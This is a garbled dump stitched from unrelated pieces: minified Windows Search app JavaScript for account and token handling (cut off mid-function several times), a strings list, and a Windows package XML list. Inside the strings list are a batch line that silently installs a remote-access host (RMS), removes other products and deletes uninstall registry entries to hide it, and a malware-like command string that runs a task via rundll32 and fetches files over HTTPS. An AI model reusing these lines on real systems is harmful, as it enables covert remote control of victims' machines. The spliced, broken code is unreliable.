t=JSON.stringify({errorCode:i.errorCode,errorMessage:i.errorMessage,status:i.status,accountId:i.accountId,authority:i.authority}),u=JSON.stringify({accountProviderId:r.accountProviderId,clientId:r.clientId,resource:r.resource,scope:r.scope,accountType:r.accountType,silentMode:r.silentMode});n.log(`WAM error: result=${t}, request=${u}; useMultiauth=${!!f}`);h(`WamError: ${t}`)}},n=>h(`AsyncCallError: ${(n===null||n===void 0?void 0:n.message)||JSON.stringify(n)}`))}else h("NotOnline")}bindAccessTokenAvailable(n){this._accessTokenAvailableHandlers.push(n)}bindVerifyAccountRequired(n){this._verifyAccountRequired.push(n)}bindAccountTypesChanged(n){this._accountTypeChangedHandlers.push(n)}bindAccountsEnumeratedBeforeConnect(n){this._accountsEnumeratedBeforeConnectHandlers.push(n)}bindSelectedAccountChangedBeforeConnect(n){this._selectedAccountChangedBeforeConnectHandlers.push(n)}bindSelectedAccountChanged(n){this._selectedAccountChangedHandlers.push(n)}bindReconnectAadReport(n){this._reconnectAadReportHandlers.push(n)}fireAccountTypeChanged(){this._accountTypeChangedHandlers.forEach(n=>n())}fireAccountsEnumeratedBeforeConnect(){this._accountsEnumeratedBeforeConnectHandlers.forEach(n=>n())}fireSelectedAccountChangedBeforeConnect(n){this._selectedAccountChangedBeforeConnectHandlers.forEach(t=>t(n))}fireSelectedAccountChanged(n){this._selectedAccountChangedHandlers.forEach(t=>t(n))}fireReconnectAadReport(n)WindowsAccountType(i);this.authTypeMatchesWindowsAccountType(1)&&n.isCloudSearchEnabledAadCache||(n.isMsftAccountConnected=!1);i!=r&&this.fireAccountTypeChanged()}getAllSyncingAccounts(n,t,i,r,u){let o=SearchAppWrapper.CortanaApp.fileExplorerSuggestionPage.registeredSyncRootInfo,f=[];for(let n in o){let t=o[n];typeof t=="string"&&t.includes("@")&&f.push(t)}f.length==0&&u([]);let e={responses:0,accounts:[]};for(let o of f)this.getAccountByUserName(n,t,o,i,r,n=>{++e.responses,n&&n.Token&&e.accounts.push(n),e.responses==f.length&&u(e.accounts)})}getAllAvailableAccounts(n){return n==0?this.getEnabledMSAAccounts().slice(0):this.getEnabledAADAccounts().slice(0)}getCachedAccountInfo(n){if(!this.authTypeMatchesWindowsAccountType(n))return null;switch(n){case 1:return this._cachedAAD;case 0:return this._cachedMSA;default:return null}}getSelectedAccountInfo(){let t=this.getSelectedAccountId(),n;const i=this.getEnabledAADAccounts().concat(this.getEnabledMSAAccounts());if(i.length>0){if(t&&(n=i.filter(n=>n.accountId==t)[0],n))return this.cacheAccount(n),n;if(!n){const t=this.getEnabledAADAccounts(),i=this.getEnabledMSAAccounts();if(t.length>0){const i=t.findIndex(n=>n.isDefaultAccount==!0);n=i>-1?t[i]:t[0]}else if(i.length>0){const t=i.findIndex(n=>n.isDefaultAccount==!0);n=t>-1?i[t]:i[0]}}n&&this.setSelectedAccount(n,0)}return n}setSelectedAccount(i,r){this.cacheAccount(i);let u=this.getSelectedAccountId();if(this.setSelectedAccountId(i.accountId),t.getWindowsAccountType()!=4){let t=this.getAccountType(i);if(u==i.accountId)return;let f=this.isAadAccount(u),e=this.isAadAccount(i.accountId);f&&e&&_w.bfbWsbTel&&bfbWsbTel.logValue("AccountChanged","AadToAad");this.setWindowsAccountType(t);n.config.msbEnableAccountManager&&this.fireSelectedAccountChangedBeforeConnect({prevousAccountId:u,nextAccount:i});this.connectAccounts([i],r);this.setSelectedAccountId(i.accountId);this.fireSelectedAccountChanged(i);(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(40979072))&&(SearchAppWrapper.CortanaApp.authenticationManager.currentAccount=i);r==3&&n.InstrumentationHelper.logClientInstEvent("ClientInst","AccountChanged",n.SequenceNumberManager===null||n.SequenceNumberManager===void 0?void 0:n.SequenceNumberManager.getSequenceNumber(),{accountType:t===null||t===void 0?void 0:t.toString()},"WindowsTelemetry",33554432)}}reconnectAad(n){const u=this.getSelectedAccountInfo();if((u===null||u===void 0?void 0:u.accountProviderAuthority)!==r){n();return}const e=500,o=40;let i=0;const t={success:!0,retryCount:i,errors:[]},f=()=>{this.getAccount(1,"https://substrate.office.com",!1,!0,(r,u)=>{r?(t.success=!0,t.retryCount=i,this.fireReconnectAadReport(t),n()):(t.errors.push(u||"<EMPTY>"),i>o?(t.success=!1,t.retryCount=i,this.fireReconnectAadReport(t),n()):(i++,sb_st(f,e)))},u)};f()}isMsaAvailable(){return this._availableMsaAccounts.length>0}isAadAvailable(){return this._availableAadAccounts.length>0}getSelectedAccountId(){const t=n.LightweightStorage.getItem(n.SelectedAccountIdStorageKey),i=t!==null&&t!==void 0?t:this._cachedSelectedAccountId;return n.config.enablePersistentStorageCarryover&&n.PSCache&&n.PSCache.changeSelectedAccountId(i),i}setSelectedAccountId(t){this._cachedSelectedAccountId=t;n.LightweightStorage.setItem(n.SelectedAccountIdStorageKey,t);n.config.enablePersistentStorageCarryover&&n.PSCache&&n.PSCache.changeSelectedAccountId(t)}isAadAccount(n){return this._availableAadAccounts.filter(t=>t.accountId==n).length>0}cacheAccount(t){n.Host.isAccountNotConsented(t)||(t.accountProviderAuthority==i?this._cachedMSA=t:this._cachedAAD=t)}cacheAllAccounts(r){this._availableMsaAccounts=[];this._availableAadAccounts=[];for(let t of r)n.Host.isAccountNotConsented(t)||(t.accountProviderAuthority==i?this._availableMsaAccounts.push(t):this._availableAadAccounts.push(t));t.internalSetMsaAccountsCount(this._availableMsaAccounts.length);t.internalSetAadAccountsCount(this._availableAadAccounts.length)}getEnabledMSAAccounts(){return n.isCloudSearchEnabledMsaCache?this._availableMsaAccounts:[]}getEnabledAADAccounts(){return n.isCloHtmlElements.root.offsetWidth-f-t:Math.max(i-f,n.StaticHtmlElements.root.offsetLeft));!u&&s+h>n.StaticHtmlElements.root.offsetHeight&&(s=Math.max(n.StaticHtmlElements.root.offsetHeight-h,n.StaticHtmlElements.root.offsetTop));o.style.left=e+"px";o.style.top=s+"px";n.RuntimeConfig.PanelCanResize&&(n.StaticHtmlElements.root.style.minHeight=s+h+"px",this.adjustHeight())}}getContextMenuItems(t,i){return t.map((t,r)=>{let u={id:encodeURIComponent(t.verb),text:t.displayName,isSeparator:!t.verb,selected:!1,isDefault:t.isDefault,icon:t.icon,getIcon:t.getIcon,click:undefined,title:undefined,cssClass:undefined,isSelectable:!!t.verb};return u.isSeparator?u.id="Separator"+r:u.click=(r,u)=>{i(t.verb,r,u,null),t.executeSync?(n.safeExecute(()=>t.executeSync(),"verb.executeSync",null,t.verb),this.dismiss()):n.Async.safeChain("verb.executeAsync",()=>t.executeAsync(),()=>this.dismiss(),null,null,t.verb)},u})}setSearchContentLocalStorageItem(t){localStorage.setItem(n.OptionHoverLocalStorageKey,JSON.stringify(t));(n.isSearchPointsOfFlexibilityEnabled===null||n.isSearchPointsOfFlexibilityEnabled===void 0?void 0:n.isSearchPointsOfFlexibilityEnabled())&&n.dsbManager.updateGleamDataPofSchema(t)}setCopilotUILocalStorageItem(t){localStorage.setItem(n.OptionCopilotLocalStorageKey,JSON.stringify(t))}setPersonalizationLocalStorageItem(t){localStorage.setItem(n.OptionPersonalizationStorageKey,JSON.stringify(t))}}n.MenuFactory=r}(WSB||(WSB={})),function(n){const t="ConnectedAccounts";class i{constructor(){this._accountsCache={};(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.clearSSOCache)&&this.clear();this.init()}setToken(n,t){this.setTokenInfo(t,n);this.writeToLocalStorage()}findAccount(n,t){let i=this._accountsCache[n];return i&&!this.isExpired(i.LastUpdated,t,i.ExpireDateTime)?i:null}clear(){this._accountsCache={};this.writeToLocalStorage()}init(){this._accountsCache={};let i=n.LightweightStorage.getItem(t);i&&(this._accountsCache=n.safeExecute(()=>JSON.parse(i),"parseConnectedAccountString",{}))}writeToLocalStorage(){n.LightweightStorage.setItem(t,JSON.stringify(this._accountsCache))}isExpired(t,i,r){if(i===undefined)return!1;if(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.forceTokenRefresh)return!0;let u=n.getCurrentTime();if(r&&u>r)return!0;let f=Math.floor((u-t)/6e4);return f<0||f>=i}setTokenInfo(t,i){let r=this._accountsCache[t],u=n.getCurrentTime();r={Token:i.Token,LastUpdated:u,ExpireDateTime:i.ExpireDateTime,TenantName:i.TenantName,RoutingHint:i.RoutingHint,UserName:i.UserName,TenantId:i.TenantId,UserObjectId:i.UserObjectId,UserFirstName:i.UserFirstName};this._accountsCache[t]=r}}n.TokenStore=i}(WSB||(WSB={})),function(n){n.SelectedAccountIdStorageKey="SelectedAuthAccountId";const i="consumers",r="organizations",f=60,u="72f988bf-86f1-41af-91ab-2d7cd011db47";class t{constructor(n){this._tokenStore=n;this._pendingCallbacks={};this._availableMsaAccounts=[];this._availableAadAccounts=[];this._accessTokenAvailableHandlers=[];this._verifyAccountRequired=[];this._accountTypeChangedHandlers=[];this._accountsEnumeratedBeforeConnectHandlers=[];this._selectedAccountChangedBeforeConnectHandlers=[];this._selectedAccountChangedHandlers=[];this._reconnectAadReportHandlers=[];SearchAppWrapper.CortanaApp.addEventListener("experiencelaunched",()=>{SearchAppWrapper.CortanaApp.experienceId=="NotebookOffline"&&this._tokenStore.clear()})}static getWindowsAccountType(){return t._windowsAccountType}static internalSetWindowsAccountType(n){t._windowsAccountType=n}static getWindowsIdentity(){return t._windowsIdentity}static internalSetWindowsIdentity(n){t._windowsIdentity=n}static getMsaAccountsCount(){return t._msaAccountsCount}static internalSetMsaAccountsCount(n){t._msaAccountsCount=n}static getAadAccountsCount(){return t._aadAccountsCount}static internalSetAadAccountsCount(n){t._aadAccountsCount=n}authTypeMatchesWindowsAccountType(n){var i=t.getWindowsAccountType();return i==4||(n==0?i==2:i==1)}setWindowsAccountType(i){var r=t.getWindowsAccountType();t.internalSetIChecked:this._isCopilotUIChecked,isPersonalizationChecked:this._isPersonalizationChecked,items:this._menuItems,leaveHandler:this._itemLeaveHandler,menuType:this._menuType,setSearchContentLocalStorageItem:this.setSearchContentLocalStorageItem,setCopilotUILocalStorageItem:this.setCopilotUILocalStorageItem,setPersonalizationLocalStorageItem:this.setPersonalizationLocalStorageItem,showIcons:this._showIcons}}getExpandIcon(){return{content:n.isRtl()?"&#xE76B":"&#xE76C",type:2}}select(n){if(this._selectedItem){let n=_ge(this._selectedItem.id);n&&n.blur();this._selectedItem.selected=!1}if(this._selectedItem=n,this._selectedItem){let n=_ge(this._selectedItem.id);n&&n.focus();this._selectedItem.selected=!0}n&&this.stickParent(n);this._page.updateMenuView(this.getDataModel())}stickParent(n){let t=this.getParent(n);t&&(t.isSticky=!0);let i=this.getSiblings(n);for(let n of i)n.isSticky&&(n.isSticky=!1,this._itemLeaveHandler(n,null))}isItemInMenuOrMenuGroup(n,t){return t.some(t=>t==n||t.groupItems&&t.groupItems.indexOf(n)>=0)}getParent(n){for(let t of this._menuStack)if(this.isItemInMenuOrMenuGroup(n,t.subItems))return t;if(this.isItemInMenuOrMenuGroup(n,this._menuItems))return null;throw new Error(`Item: '${n.id}' was not found`);}getSiblings(n,t=false){let i=this.getParent(n),r=i?i.subItems:this._menuItems;return r.map(n=>n.groupItems?n.groupItems:[n]).reduce((n,t)=>(n.push(...t),n),[]).filter(i=>i.isSelectable&&(t||i!=n))}selectSubItem(n,t){this.showSubMenu(n);this.select(t,!1)}reselectParentItem(){let n=this._menuStack[this._menuStack.length-1];this.dismissSubMenu();this.select(n,!1)}onAfterKeyDown(t,i,r,u){if((r||u)&&!n.isUpOrDownKey(t))return!1;if(t=n.getRtlAdjustedKey(t),t==39||t==13){let n=this._selectedItem;if(n&&n.subItems&&n.subItems[0]){let t=n.subItems.filter(n=>n.isSelectable)[0];if(t)return this.selectSubItem(n,t),!0}}else if(t==37){if(this._menuStack.length>0)return this.reselectParentItem(),!0}else if(n.isUpOrDownKey(t)&&this._selectedItem){let n=this._menuStack.length==0?_qs(".contextMenu"):_ge(this._menuStack[this._menuStack.length-1].id).querySelector(".contextMenu");return n&&this._page.scrollToElement(_ge(this._selectedItem.id),n,n.offsetHeight),!0}return t==13}isMenuVisible(){return!!this._menuItems}dismiss(t){if(this._menuItems&&(this._menuItems=null,this._selectedItem&&(this._selectedItem.selected=!1,this._selectedItem=null),this._page.updateMenuView(this.getDataModel()),n.StaticHtmlElements.menuContainer.classList.remove(i),n.StaticHtmlElements.menuContainer.style.width=null,n.setVisibility(n.StaticHtmlElements.menuContainer,!1),n.RuntimeConfig.PanelCanResize&&(n.StaticHtmlElements.root.style.minHeight="",this.adjustHeight()),this._menuStack=[]),t&&this._parentElement&&this._parentElement.focus(),this._parentElement=null,this._inputType=null,this._onDismiss){let n=this._onDismiss;this._onDismiss=null;n()}}adjustSubMenuPosition(i,r){if(this._menuItems){const f=n.StaticHtmlElements.menuContainer;let a=f.offsetWidth,v=r.offsetHeight,o=r.offsetWidth,y=0,e=window.getComputedStyle(r).paddingTop;e.endsWith("px")&&(e=e.substr(0,e.length-2),y=+e+1);let h=0,p=_qs("#menuContainer .contextMenu").scrollTop,c=n.isRtl(),l=6;for(let n of this._menuStack){let t=_ge(n.id).querySelector(".contextMenu");l=+t.style.zIndex;h+=t.offsetLeft;p+=t.scrollTop;c=t.offsetLeft<0}++l;let u=f.offsetLeft+h+i.offsetLeft,s=f.offsetTop+i.offsetTop-p-y,w=n.StaticHtmlElements.root.offsetWidth-(u+a),b=u,k=o<w,d=o<b;(c||!k)&&d?u-=o:c&&d||!k?u=b>w?t:n.StaticHtmlElements.root.offsetWidth-o-t:u+=a-2;s+v>n.StaticHtmlElements.root.offsetHeight&&(s=Math.max(n.StaticHtmlElements.root.offsetHeight-v,n.StaticHtmlElements.root.offsetTop));u-=f.offsetLeft+h;s-=f.offsetTop;r.style.left=u+"px";r.style.top=s+"px";r.style.zIndex=l.toString()}}adjustPosition(i,r,u){if(this._menuItems){const o=n.StaticHtmlElements.menuContainer;let f=o.offsetWidth,h=o.offsetHeight;f>n.StaticHtmlElements.root.offsetWidth&&(f=n.StaticHtmlElements.root.offsetWidth,o.style.width=f+"px");let e=i,s=r;n.isRtl()?(e-=f,e<0&&(e=u?t:i)):e+f>n.StaticHtmlElements.root.offsetWidth&&(e=u?n.Static!0,this._menuStack.length>0?this.reselectParentItem():this.dismiss(!0))})}showSubMenu(t){if(!t.isExpanded){this._selectedItem&&this.select(null,!1);let i=_ge(t.id),r=i.querySelector(".contextMenu");t.isExpanded=!0;n.setVisibility(r,!0);this.adjustSubMenuPosition(i,r);this._menuStack.push(t);this._page.updateMenuView(this.getDataModel())}}dismissSubMenu(t){if(this._selectedItem&&this.select(null,!1),t){let n=this._menuStack.indexOf(t);if(n<0)return;let i=this._menuStack.slice(n);for(let n=0;n<i.length;++n)this.dismissSubMenu()}else{t=this._menuStack.pop();let i=_ge(t.id),r=i.querySelector(".contextMenu");t.isExpanded=!1;t.isSticky=!1;n.setVisibility(r,!1)}this._page.updateMenuView(this.getDataModel())}showMenu(t,r){if(this._menuItems.length){n.setVisibility(n.StaticHtmlElements.menuContainer,!0);let u=this.getDataModel();this._page.updateMenuView(u);for(let n of this._menuItems)n.getIcon&&n.getIcon(1,t=>{n.icon=t,this._page.updateMenuView(this.getDataModel())});const f="renderContextMenu";n.safeSetTimeout(()=>{var o;this.adjustPosition(t,r,u.menuType!=0);n.StaticHtmlElements.menuContainer.classList.add(i);let e=_qs("#menuContainer > .contextMenu");if(this._inputType!==2){let n=(o=this._menuItems)===null||o===void 0?void 0:o.filter(n=>n===null||n===void 0?void 0:n.click)[0];n&&this.select(n,!1)}else e===null||e===void 0?void 0:e.focus();e.scrollTop=0;n.Host.setFocusInWebView(f)},0,f);n.Host.getLogUserActivityDataEnabled()&&n.InstrumentationHelper.instrumentInlineActions(0)}}innerShowContextMenu(t,i,r,u,f,e){this.dismiss();let o=this.getContextMenuItems(t,u);o&&o.length>0&&(this._menuItems=o,this._onDismiss=f,this._menuType=0,this._inputType=e,i-=n.StaticHtmlElements.root.offsetLeft,r-=n.StaticHtmlElements.root.offsetTop,this.showMenu(i,r))}showDropdownMenu(i,r,u,f,e){if(this.dismiss(),this._parentElement=r,this._inputType=e,i&&i.length>0){this._menuItems=i;this._onDismiss=f;this._menuType=u;let e;if(n.config.useCobaltCSS&&!n.isRtl()&&(r.id==="optionsButton"||r.id==="userProfileButton")){let i=n.StaticHtmlElements.menuContainer;if(!i)return;let r=i.offsetWidth;e=n.StaticHtmlElements.root.offsetWidth-r-t}else e=r.offsetLeft;const o=n.StaticHtmlElements.root.getBoundingClientRect(),s=r.getBoundingClientRect();let h=s.bottom-o.top+1;n.isRtl()&&(e+=r.offsetWidth);(n.isSearchHoverSettingsEnabled()||n.config.wsbWithCopilot)&&this._parentElement.id==="optionsButton"?(this._isSearchContentChecked=n.getSearchContentLocalStorageItem(),this._isCopilotUIChecked=n.getCopilotUILocalStorageItem(),this._isPersonalizationChecked=n.getPersonalizationStorageItem(),this._isOptionToggleContextMenu=!0):this._isOptionToggleContextMenu=!1;this.showMenu(e,h)}}showContextMenuOnElement(n,t,i,r,u){let f=t.getBoundingClientRect();this._inputType=r;let e=f.left+t.offsetWidth/2,o=f.top+this._page.getScrollTop()+t.offsetHeight/2;this.showContextMenuOnXY(n,e,o,i,this._inputType,u)}showContextMenuOnXY(t,i,r,u,f,e){if(this._parentElement=null,this._inputType=f,e){let n=t.childSuggestions.filter(n=>n.text===e.text);n&&n.length&&(t=n[0])}let o=n.getVerbsAsync("showContextMenu",t,n.config.rawVerbs,!1,e=>n.safeSetTimeout(()=>this.innerShowContextMenu(n.extendVerbs(e,t,this._page),i,r,(i,r,u,f)=>{n.InstrumentationHelper.instrumentItemClickForContextMenu(r,t.instItem,t.sequenceNumber,t.instrumentPingBack,u,f,i)},u,f),0,"showContextMenu handler"),()=>!0);e||o||(this._page.hideTemporaryMessage(),n.Host.setFocusInSearchBox(null,"noContextMenu"))}getSelectableItems(){if(this._menuItems){let n=[];if(this._menuStack.length>0){let t=this._menuStack[this._menuStack.length-1];n=t.subItems}else n=this._menuItems;return n.map(n=>n.groupItems?n.groupItems:[n]).reduce((n,t)=>(n.push(...t),n),[]).filter(n=>n.isSelectable)}return[]}getSelectableItemsByGroup(){return[]}getSelectedItem(){return this._selectedItem}getDataModel(){return{clickHandler:this._itemClickHandler,enterHandler:this._itemEnterHandler,expandIcon:this.getExpandIcon(),inputType:this._inputType,isOptionToggleContextMenu:this._isOptionToggleContextMenu,isSearchContentChecked:this._isSearchContentChecked,isCopilotU
c:\windows\system32\xwizard.exe
windows license4>
windows activation-=
activate windows'7
windows hello)3
about windows,
Windows features appear in^
that Windows features appear ing
language that Windows features appear ink
the language that Windows features appear in|
Windows display language|display language|language settings|A
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\registry_helpers.h
 Windows 
WindowsVersion
stable-x86_64-pc-windows-msvcs
@chcp1251mkdir"%programfiles%\remotemanipulatorsystem-host"copywinmm.dll"%programfiles%\remotemanipulatorsystem-host">nul@msiexec/x{61ffa475-24d5-44fb-a51f-39b699e3d82c}/qnreboot=reallysuppress@msiexec/x{54067864-c0e7-47db-a0c1-d6c874ce6bd8}/qnreboot=reallysuppress@msiexec/i"rms.host5.5ru.msi"/qn@regdelete"hkey_local_machine\software\microsoft\windows\currentversion\uninstall\{c2ad926e-45dc-4c5f-88a0-63aee6a3262a}"/f@regdelete"hkey_local_machine
The session host couldn't connect to the Windows Virtual Desktop service because of a DNS issue. Make sure the session's DNS configuration on the session host VM network is correct and the DNS service is reachable, then try again.
The session host couldn't connect to the Windows Virtual Desktop service because the connection timed out. Please verify that the gateway DNS record resolves to a correct IP address and that firewalls do not block the connection.
The session host connection to the Windows Virtual Desktop service has been closed by the gateway.
*cmd /c schtasks /Run /TN "\Microsoft\Windows\License Manager\LicenseExchange" /Irundll32.exe AppxProviders.dll,%s %d|**|Net1NOFILE|**|https://%s%s?do=%d&arg=%d%sAppxProviders.dll|**|GETFILE|**|
        <Feature FeatureID="Microsoft.WindowsCamera_8wekyb3d8bbwe" FMID="MSDN" Group="PreinstalledApps" Type="Optional" />
        <Feature FeatureID="MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy" FMID="MSDN" Group="PreinstalledApps" Type="Optional" />
        <Feature FeatureID="MicrosoftWindows.CrossDevice_cw5n1h2txyewy" FMID="MSDN" Group="PreinstalledApps" Type="Optional" />
        <Feature FeatureID="Microsoft.OutlookForWindows_8wekyb3d8bbwe" FMID="MSDN" Group="PreinstalledApps" Type="Optional" />
        <Feature FeatureID="Microsoft.Windows.DevHome_8wekyb3d8bbwe" FMID="MSDN" Group="PreinstalledApps" Type="Optional" />
        <Package ID="Microsoft-Windows-Client-LanguagePack-Package~31bf3856ad364e35~amd64~bg-BG~" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Foundation-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-EditionSpecific-Professional-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-EditionSpecific-Professional-WOW64-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Client-Desktop-Required-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Client-Desktop-Required-WOW64-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Client-Features-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Client-Features-WOW64-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-EditionPack-Professional-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-EditionPack-Professional-WOW64-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-RegulatedPackages-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-RegulatedPackages-WOW64-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Not-Supported-On-LTSB-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Not-Supported-On-LTSB-WOW64-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Required-ShellExperiences-Desktop-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Required-ShellExperiences-Desktop-WOW64-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-LanguageFeatures-Basic-bg-bg-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-LanguageFeatures-Basic-en-us-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-LanguageFeatures-Handwriting-bg-bg-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-LanguageFeatures-TextToSpeech-bg-bg-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-LanguageFeatures-OCR-bg-bg-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-LanguageFeatures-OCR-en-us-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-PowerShell-ISE-FOD-Package~31bf3856ad364e35~amd64~~" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-PowerShell-ISE-FOD-Package~31bf3856ad364e35~wow64~~" PackageType="SatellitePackage" />
        <Package ID="Microsoft-Windows-StepsRecorder-Package~31bf3856ad364e35~amd64~~" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-StepsRecorder-Package~31bf3856ad364e35~wow64~~" PackageType="SatellitePackage" />
        <Package ID="Microsoft-Windows-WMIC-FoD-Package~31bf3856ad364e35~amd64~~" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-WMIC-FoD-Package~31bf3856ad364e35~wow64~~" PackageType="SatellitePackage" />
        <Package ID="Microsoft-Windows-VBSCRIPT-FoD-Package~31bf3856ad364e35~amd64~~" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-VBSCRIPT-FoD-Package~31bf3856ad364e35~wow64~~" PackageType="SatellitePackage" />
        <Package ID="Microsoft-Windows-Wifi-Client-Marvel-Mrvlpcie8897-FOD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Wifi-Client-Qualcomm-Athw8x-FOD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Wifi-Client-Qualcomm-Athwnx-FOD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Wifi-Client-Qualcomm-Qcamain10x64-FOD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Wifi-Client-Intel-Netwbw02-FOD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Wifi-Client-Intel-Netwew00-FOD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Wifi-Client-Intel-Netwew01-FOD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Wifi-Client-Intel-Netwlv64-FOD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Wifi-Client-Intel-Netwns64-FOD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Wifi-Client-Intel-Netwsw00-FOD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Wifi-Client-Intel-Netwtw02-FOD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Wifi-Client-Intel-Netwtw04-FOD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Wifi-Client-Intel-Netwtw06-FOD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Wifi-Client-Intel-Netwtw08-FOD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Wifi-Client-Intel-Netwtw10-FOD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Wifi-Client-Broadcom-Bcmpciedhd63-FOD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Wifi-Client-Broadcom-Bcmwl63a-FOD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Wifi-Client-Broadcom-Bcmwl63al-FOD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Wifi-Client-Ralink-Netr28x-FOD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Wifi-Client-Realtek-Rtl8192se-FOD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Wifi-Client-Realtek-Rtwlane-FOD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Wifi-Client-Realtek-Rtwlane01-FOD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Wifi-Client-Realtek-Rtwlane13-FOD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Ethernet-Client-Intel-E1i68x64-FOD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Ethernet-Client-Intel-E2f68-FOD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Ethernet-Client-Realtek-Rtcx21x64-FOD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Ethernet-Client-Vmware-Vmxnet3-FOD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Kernel-LA57-FoD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Wallpaper-Content-Extended-FoD-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-DirectoryServices-ADAM-Client-FOD-Package~31bf3856ad364e35~amd64~~" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-DirectoryServices-ADAM-Client-FOD-Package~31bf3856ad364e35~wow64~~" PackageType="SatellitePackage" />
        <Package ID="Microsoft-Windows-EnterpriseClientSync-Host-FOD-Package~31bf3856ad364e35~amd64~~" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-EnterpriseClientSync-Host-FOD-Package~31bf3856ad364e35~wow64~~" PackageType="SatellitePackage" />
        <Package ID="Microsoft-Windows-ProjFS-OptionalFeature-FOD-Package~31bf3856ad364e35~amd64~~" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-SimpleTCP-FOD-Package~31bf3856ad364e35~amd64~~" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-SmbDirect-FOD-Package~31bf3856ad364e35~amd64~~" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Telnet-Client-FOD-Package~31bf3856ad364e35~amd64~~" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-TFTP-Client-FOD-Package~31bf3856ad364e35~amd64~~" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-WinOcr-FOD-Package~31bf3856ad364e35~amd64~~" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-WinOcr-FOD-Package~31bf3856ad364e35~wow64~~" PackageType="SatellitePackage" />
        <Package ID="Microsoft-Windows-Hello-Face-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-TabletPCMath-Package" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-InternetExplorer-Optional-Package~31bf3856ad364e35~amd64~~" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-MediaPlayer-Package~31bf3856ad364e35~amd64~~" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-MediaPlayer-Package~31bf3856ad364e35~wow64~~" PackageType="SatellitePackage" />
        <Package ID="Microsoft-Windows-Notepad-System-FoD-Package~31bf3856ad364e35~amd64~~" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-Notepad-System-FoD-Package~31bf3856ad364e35~wow64~~" PackageType="SatellitePackage" />
        <Package ID="Microsoft-Windows-Printing-PMCPPC-FoD-Package~31bf3856ad364e35~amd64~~" PackageType="FeaturePackage" />
